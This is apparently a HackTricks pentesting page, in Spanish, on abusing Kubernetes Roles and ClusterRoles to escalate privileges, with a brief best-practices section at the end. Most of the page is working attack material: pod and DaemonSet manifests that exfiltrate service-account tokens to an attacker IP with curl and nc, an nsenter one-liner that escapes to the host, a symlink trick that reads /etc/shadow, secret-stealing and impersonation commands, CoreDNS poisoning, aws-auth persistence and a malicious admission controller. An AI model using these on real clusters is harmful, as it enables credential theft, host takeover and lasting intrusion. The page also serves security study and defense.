Abusing Roles/ClusterRoles in Kubernetes

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Aquí puedes encontrar algunas configuraciones de Roles y ClusterRoles potencialmente peligrosas.
Recuerda que puedes obtener todos los recursos soportados con kubectl api-resources

Escalación de Privilegios

Se refiere al arte de obtener acceso a un principal diferente dentro del clúster con diferentes privilegios (dentro del clúster de Kubernetes o a nubes externas) que los que ya tienes. En Kubernetes, hay básicamente 4 técnicas principales para escalar privilegios:

  • Poder suplantar a otros usuarios/grupos/SAs con mejores privilegios dentro del clúster de Kubernetes o a nubes externas
  • Poder crear/parchear/ejecutar pods donde puedes encontrar o adjuntar SAs con mejores privilegios dentro del clúster de Kubernetes o a nubes externas
  • Poder leer secretos ya que los tokens de SAs se almacenan como secretos
  • Poder escapar al nodo desde un contenedor, donde puedes robar todos los secretos de los contenedores que se ejecutan en el nodo, las credenciales del nodo y los permisos del nodo dentro de la nube en la que se está ejecutando (si los hay)
  • Una quinta técnica que merece mención es la capacidad de ejecutar port-forward en un pod, ya que podrías acceder a recursos interesantes dentro de ese pod.

Acceso a Cualquier Recurso o Verbo (Wildcard)

El wildcard (*) otorga permiso sobre cualquier recurso con cualquier verbo. Es utilizado por administradores. Dentro de un ClusterRole, esto significa que un atacante podría abusar de cualquier namespace en el clúster.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Acceder a Cualquier Recurso con un verbo específico

En RBAC, ciertos permisos representan riesgos significativos:

  1. create: Concede la capacidad de crear cualquier recurso del clúster, arriesgando la escalada de privilegios.
  2. list: Permite listar todos los recursos, potencialmente filtrando datos sensibles.
  3. get: Permite acceder a secretos de cuentas de servicio, representando una amenaza a la seguridad.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Un atacante con los permisos para crear un pod, podría adjuntar una Cuenta de Servicio privilegiada al pod y robar el token para hacerse pasar por la Cuenta de Servicio. Efectivamente, escalando privilegios a ella.

Ejemplo de un pod que robará el token de la cuenta de servicio bootstrap-signer y lo enviará al atacante:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Creación y Escape de Pods

Lo siguiente indica todos los privilegios que un contenedor puede tener:

  • Acceso privilegiado (deshabilitando protecciones y estableciendo capacidades)
  • Deshabilitar los namespaces hostIPC y hostPid que pueden ayudar a escalar privilegios
  • Deshabilitar el namespace hostNetwork, dando acceso para robar privilegios de nube de nodos y mejor acceso a redes
  • Montar hosts / dentro del contenedor
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Crea el pod con:

kubectl --token $token create -f mount_root.yaml

Una línea de este tweet y con algunas adiciones:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Ahora que puedes escapar al nodo, revisa las técnicas de post-explotación en:

Sigilo

Probablemente quieras ser más sigiloso, en las siguientes páginas puedes ver a qué podrías acceder si creas un pod habilitando solo algunos de los privilegios mencionados en la plantilla anterior:

  • Privilegiado + hostPID
  • Solo privilegiado
  • hostPath
  • hostPID
  • hostNetwork
  • hostIPC

Puedes encontrar un ejemplo de cómo crear/abusar de las configuraciones de pods privilegiados anteriores en https://github.com/BishopFox/badPods

Crear Pod - Mover a la nube

Si puedes crear un pod (y opcionalmente una cuenta de servicio) podrías obtener privilegios en el entorno de la nube al asignar roles de nube a un pod o a una cuenta de servicio y luego acceder a él.
Además, si puedes crear un pod con el espacio de nombres de red del host, puedes robar el rol de IAM de la instancia del nodo.

Para más información, consulta:

Pod Escape Privileges

Crear/Patch Despliegue, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs y Cronjobs

Es posible abusar de estos permisos para crear un nuevo pod y escalar privilegios como en el ejemplo anterior.

El siguiente yaml crea un daemonset y exfiltra el token de la SA dentro del pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec es un recurso en kubernetes utilizado para ejecutar comandos en un shell dentro de un pod. Esto permite ejecutar comandos dentro de los contenedores o obtener un shell dentro.

Por lo tanto, es posible entrar en un pod y robar el token del SA, o ingresar a un pod privilegiado, escapar al nodo y robar todos los tokens de los pods en el nodo y (ab)usar el nodo:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

Note

Por defecto, el comando se ejecuta en el primer contenedor del pod. Obtén todos los pods en un contenedor con kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}' y luego indica el contenedor donde deseas ejecutarlo con kubectl exec -it <pod_name> -c <container_name> -- sh

Si es un contenedor distroless, podrías intentar usar shell builtins para obtener información de los contenedores o subir tus propias herramientas como un busybox usando: kubectl cp </path/local/file> <podname>:</path/in/container>.

port-forward

Este permiso permite redirigir un puerto local a un puerto en el pod especificado. Esto está destinado a poder depurar aplicaciones que se ejecutan dentro de un pod fácilmente, pero un atacante podría abusar de ello para obtener acceso a aplicaciones interesantes (como bases de datos) o vulnerables (¿webs?) dentro de un pod:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

Como se indica en esta investigación, si puedes acceder o crear un pod con el directorio /var/log/ de los hosts montado en él, puedes escapar del contenedor.
Esto se debe básicamente a que cuando el Kube-API intenta obtener los logs de un contenedor (usando kubectl logs <pod>), solicita el archivo 0.log del pod utilizando el endpoint /logs/ del servicio Kubelet.
El servicio Kubelet expone el endpoint /logs/, que básicamente expone el sistema de archivos /var/log del contenedor.

Por lo tanto, un atacante con acceso para escribir en la carpeta /var/log/ del contenedor podría abusar de este comportamiento de 2 maneras:

  • Modificando el archivo 0.log de su contenedor (generalmente ubicado en /var/logs/pods/namespace_pod_uid/container/0.log) para que sea un symlink que apunte a /etc/shadow, por ejemplo. Luego, podrás exfiltrar el archivo shadow de los hosts haciendo:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Si el atacante controla cualquier principal con los permisos para leer nodes/log, puede simplemente crear un symlink en /host-mounted/var/log/sym a / y al acceder a https://<gateway>:10250/logs/sym/ listará el sistema de archivos raíz del host (cambiar el symlink puede proporcionar acceso a archivos).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Un laboratorio y un exploit automatizado se pueden encontrar en https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Bypass de la protección readOnly

Si tienes la suerte de que la capacidad altamente privilegiada CAP_SYS_ADMIN está disponible, puedes simplemente volver a montar la carpeta como rw:

mount -o rw,remount /hostlogs/

Bypass de la protección readOnly de hostPath

Como se indica en esta investigación, es posible eludir la protección:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Lo que se pretendía era prevenir escapes como los anteriores al, en lugar de usar un hostPath mount, utilizar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Suplantación de cuentas privilegiadas

Con un privilegio de suplantación de usuario, un atacante podría suplantar una cuenta privilegiada.

Solo usa el parámetro --as=<username> en el comando kubectl para suplantar a un usuario, o --as-group=<group> para suplantar a un grupo:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

O use la API REST:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Listando Secretos

El permiso para listar secretos podría permitir a un atacante leer realmente los secretos accediendo al endpoint de la API REST:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Creación y Lectura de Secretos

Hay un tipo especial de secreto de Kubernetes de tipo kubernetes.io/service-account-token que almacena tokens de serviceaccount. Si tienes permisos para crear y leer secretos, y también conoces el nombre del serviceaccount, puedes crear un secreto de la siguiente manera y luego robar el token del serviceaccount de la víctima:

apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

Ejemplo de explotación:

$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

Note que si se le permite crear y leer secretos en un cierto namespace, la cuenta de servicio de la víctima también debe estar en ese mismo namespace.

Lectura de un secreto – fuerza bruta de IDs de token

Mientras que un atacante en posesión de un token con permisos de lectura requiere el nombre exacto del secreto para usarlo, a diferencia del privilegio más amplio de listar secretos, aún existen vulnerabilidades. Las cuentas de servicio predeterminadas en el sistema pueden ser enumeradas, cada una asociada con un secreto. Estos secretos tienen una estructura de nombre: un prefijo estático seguido de un token alfanumérico aleatorio de cinco caracteres (excluyendo ciertos caracteres) de acuerdo con el código fuente.

El token se genera a partir de un conjunto limitado de 27 caracteres (bcdfghjklmnpqrstvwxz2456789), en lugar del rango alfanumérico completo. Esta limitación reduce el total de combinaciones posibles a 14,348,907 (27^5). En consecuencia, un atacante podría ejecutar razonablemente un ataque de fuerza bruta para deducir el token en cuestión de horas, lo que podría llevar a una escalada de privilegios al acceder a cuentas de servicio sensibles.

EncrpytionConfiguration en texto claro

Es posible encontrar claves en texto claro para cifrar datos en reposo en este tipo de objeto como:

# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

Certificate Signing Requests

Si tienes el verbo create en el recurso certificatesigningrequests (o al menos en certificatesigningrequests/nodeClient). Puedes crear un nuevo CeSR de un nuevo nodo.

Según la documentación es posible aprobar automáticamente estas solicitudes, así que en ese caso no necesitas permisos adicionales. Si no, necesitarías poder aprobar la solicitud, lo que significa actualizar en certificatesigningrequests/approval y approve en signers con resourceName <signerNameDomain>/<signerNamePath> o <signerNameDomain>/*

Un ejemplo de un rol con todos los permisos requeridos es:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Entonces, con el nuevo CSR de nodo aprobado, puedes abusar de los permisos especiales de los nodos para robar secretos y escalar privilegios.

En esta publicación y esta otra, la configuración de GKE K8s TLS Bootstrap está configurada con firma automática y se abusa para generar credenciales de un nuevo nodo K8s y luego abusar de ellas para escalar privilegios robando secretos.
Si tienes los privilegios mencionados, podrías hacer lo mismo. Ten en cuenta que el primer ejemplo elude el error que impide que un nuevo nodo acceda a secretos dentro de contenedores porque un nodo solo puede acceder a los secretos de los contenedores montados en él.

La forma de eludir esto es simplemente crear credenciales de nodo para el nombre del nodo donde el contenedor con los secretos interesantes está montado (pero solo verifica cómo hacerlo en la primera publicación):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Los principales que pueden modificar configmaps en el espacio de nombres kube-system en clústeres EKS (deben estar en AWS) pueden obtener privilegios de administrador del clúster al sobrescribir el configmap aws-auth.
Los verbos necesarios son update y patch, o create si el configmap no fue creado:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Warning

Puedes usar aws-auth para persistencia dando acceso a usuarios de otras cuentas.

Sin embargo, aws --profile other_account eks update-kubeconfig --name <cluster-name> no funciona desde una cuenta diferente. Pero en realidad aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing funciona si pones el ARN del clúster en lugar de solo el nombre.
Para hacer que kubectl funcione, solo asegúrate de configurar el kubeconfig de la víctima y en los argumentos de ejecución de aws agrega --profile other_account_role para que kubectl use el perfil de la otra cuenta para obtener el token y contactar a AWS.

Mapa de configuración de CoreDNS

Si tienes los permisos para modificar el coredns configmap en el espacio de nombres kube-system, puedes modificar las direcciones a las que se resolverán los dominios para poder realizar ataques MitM para robar información sensible o inyectar contenido malicioso.

Los verbos necesarios son update y patch sobre el coredns configmap (o todos los config maps).

Un archivo coredns regular contiene algo como esto:

data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

Un atacante podría descargarlo ejecutando kubectl get configmap coredns -n kube-system -o yaml, modificarlo añadiendo algo como rewrite name victim.com attacker.com, de modo que cada vez que se acceda a victim.com, en realidad se acceda a attacker.com. Y luego aplicarlo ejecutando kubectl apply -f poison_dns.yaml.

Otra opción es simplemente editar el archivo ejecutando kubectl edit configmap coredns -n kube-system y hacer cambios.

Escalando en GKE

Hay 2 formas de asignar permisos de K8s a los principales de GCP. En cualquier caso, el principal también necesita el permiso container.clusters.get para poder obtener credenciales para acceder al clúster, o necesitarás generar tu propio archivo de configuración de kubectl (sigue el siguiente enlace).

Warning

Al hablar con el punto final de la API de K8s, se enviará el token de autenticación de GCP. Luego, GCP, a través del punto final de la API de K8s, primero verificará si el principal (por correo electrónico) tiene algún acceso dentro del clúster, luego verificará si tiene algún acceso a través de GCP IAM.
Si cualquiera de esos es verdadero, se le responderá. Si no, se dará un error sugiriendo otorgar permisos a través de GCP IAM.

Entonces, el primer método es usar GCP IAM, los permisos de K8s tienen sus permisos equivalentes de GCP IAM, y si el principal los tiene, podrá usarlos.

GCP - Container Privesc

El segundo método es asignar permisos de K8s dentro del clúster identificando al usuario por su correo electrónico (incluidas las cuentas de servicio de GCP).

Crear token de serviceaccounts

Principales que pueden crear TokenRequests (serviceaccounts/token) al hablar con el punto final de la API de K8s SAs (info de aquí).

ephemeralcontainers

Principales que pueden update o patch pods/ephemeralcontainers pueden obtener ejecución de código en otros pods, y potencialmente salir a su nodo añadiendo un contenedor efímero con un securityContext privilegiado.

ValidatingWebhookConfigurations o MutatingWebhookConfigurations

Principales con cualquiera de los verbos create, update o patch sobre validatingwebhookconfigurations o mutatingwebhookconfigurations podrían ser capaces de crear una de esas webhookconfigurations para poder escalar privilegios.

Para un ejemplo de mutatingwebhookconfigurations, consulta esta sección de esta publicación.

Escalar

Como puedes leer en la siguiente sección: Prevención de Escalación de Privilegios Incorporada, un principal no puede actualizar ni crear roles o clusterroles sin tener él mismo esos nuevos permisos. Excepto si tiene el verbo escalate o * sobre roles o clusterroles y las respectivas opciones de vinculación.
Entonces puede actualizar/crear nuevos roles, clusterroles con mejores permisos que los que tiene.

Proxy de nodos

Principales con acceso al subrecurso nodes/proxy pueden ejecutar código en pods a través de la API de Kubelet (según esto). Más información sobre la autenticación de Kubelet en esta página:

Kubelet Authentication & Authorization

Tienes un ejemplo de cómo obtener RCE hablando autorizado a una API de Kubelet aquí.

Eliminar pods + nodos no programables

Principales que pueden eliminar pods (verbo delete sobre el recurso pods), o desalojar pods (verbo create sobre el recurso pods/eviction), o cambiar el estado del pod (acceso a pods/status) y pueden hacer que otros nodos no sean programables (acceso a nodes/status) o eliminar nodos (verbo delete sobre el recurso nodes) y tienen control sobre un pod, podrían robar pods de otros nodos para que sean ejecutados en el nodo comprometido y el atacante pueda robar los tokens de esos pods.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Estado de los servicios (CVE-2020-8554)

Los principales que pueden modificar services/status pueden establecer el campo status.loadBalancer.ingress.ip para explotar el CVE-2020-8554 sin corregir y lanzar ataques MiTM contra el clúster. La mayoría de las mitigaciones para CVE-2020-8554 solo previenen servicios ExternalIP (según esto).

Estado de los nodos y pods

Los principales con permisos de update o patch sobre nodes/status o pods/status, podrían modificar etiquetas para afectar las restricciones de programación impuestas.

Prevención de escalada de privilegios incorporada

Kubernetes tiene un mecanismo incorporado para prevenir la escalada de privilegios.

Este sistema asegura que los usuarios no pueden elevar sus privilegios modificando roles o vinculaciones de roles. La aplicación de esta regla ocurre a nivel de API, proporcionando una salvaguarda incluso cuando el autorizador RBAC está inactivo.

La regla estipula que un usuario solo puede crear o actualizar un rol si posee todos los permisos que comprende el rol. Además, el alcance de los permisos existentes del usuario debe alinearse con el del rol que intenta crear o modificar: ya sea a nivel de clúster para ClusterRoles o confinado al mismo espacio de nombres (o a nivel de clúster) para Roles.

Warning

Hay una excepción a la regla anterior. Si un principal tiene el verbo escalate sobre roles o clusterroles, puede aumentar los privilegios de roles y clusterroles incluso sin tener los permisos él mismo.

Obtener y parchear RoleBindings/ClusterRoleBindings

Caution

Aparentemente, esta técnica funcionaba antes, pero según mis pruebas, ya no está funcionando por la misma razón explicada en la sección anterior. No puedes crear/modificar un rolebinding para darte a ti mismo o a una SA diferente algunos privilegios si no los tienes ya.

El privilegio de crear Rolebindings permite a un usuario vincular roles a una cuenta de servicio. Este privilegio puede llevar potencialmente a la escalada de privilegios porque permite al usuario vincular privilegios de administrador a una cuenta de servicio comprometida.

Otros ataques

Aplicación de proxy sidecar

Por defecto, no hay ninguna encriptación en la comunicación entre pods. Autenticación mutua, bidireccional, de pod a pod.

Crear una aplicación de proxy sidecar

Un contenedor sidecar consiste simplemente en agregar un segundo (o más) contenedor dentro de un pod.

Por ejemplo, lo siguiente es parte de la configuración de un pod con 2 contenedores:

spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

Por ejemplo, para crear un backdoor en un pod existente con un nuevo contenedor, podrías simplemente agregar un nuevo contenedor en la especificación. Ten en cuenta que podrías dar más permisos al segundo contenedor que el primero no tendrá.

Más información en: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Controlador de Admisión Malicioso

Un controlador de admisión intercepta solicitudes al servidor API de Kubernetes antes de la persistencia del objeto, pero después de que la solicitud ha sido autenticada y autorizada.

Si un atacante logra inyectar un Controlador de Admisión de Mutación, podrá modificar solicitudes ya autenticadas. Esto podría permitir un potencial privesc y, más comúnmente, persistir en el clúster.

Ejemplo de https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Verifica el estado para ver si está listo:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

mutating-webhook-status-check.PNG

Luego despliega un nuevo pod:

kubectl run nginx --image nginx
kubectl get po -w

Cuando puedes ver el error ErrImagePull, verifica el nombre de la imagen con cualquiera de las consultas:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

Como puedes ver en la imagen anterior, intentamos ejecutar la imagen nginx, pero la imagen final ejecutada es rewanthtammana/malicious-image. ¿Qué acaba de pasar!?

Technicalities

El script ./deploy.sh establece un controlador de admisión de webhook mutante, que modifica las solicitudes a la API de Kubernetes según lo especificado en sus líneas de configuración, influyendo en los resultados observados:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

El fragmento anterior reemplaza la primera imagen del contenedor en cada pod con rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Kubernetes OPA Gatekeeper bypass

Mejores Prácticas

Deshabilitar el Automontaje de Tokens de Cuentas de Servicio

  • Pods y Cuentas de Servicio: Por defecto, los pods montan un token de cuenta de servicio. Para mejorar la seguridad, Kubernetes permite deshabilitar esta función de automontaje.
  • Cómo Aplicar: Establecer automountServiceAccountToken: false en la configuración de cuentas de servicio o pods a partir de la versión 1.6 de Kubernetes.

Asignación de Usuarios Restrictiva en RoleBindings/ClusterRoleBindings

  • Inclusión Selectiva: Asegúrese de que solo los usuarios necesarios estén incluidos en RoleBindings o ClusterRoleBindings. Audite regularmente y elimine usuarios irrelevantes para mantener una seguridad estricta.

Roles Específicos de Namespace Sobre Roles de Clúster

  • Roles vs. ClusterRoles: Prefiera usar Roles y RoleBindings para permisos específicos de namespace en lugar de ClusterRoles y ClusterRoleBindings, que se aplican a nivel de clúster. Este enfoque ofrece un control más fino y limita el alcance de los permisos.

Utilizar herramientas automatizadas

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks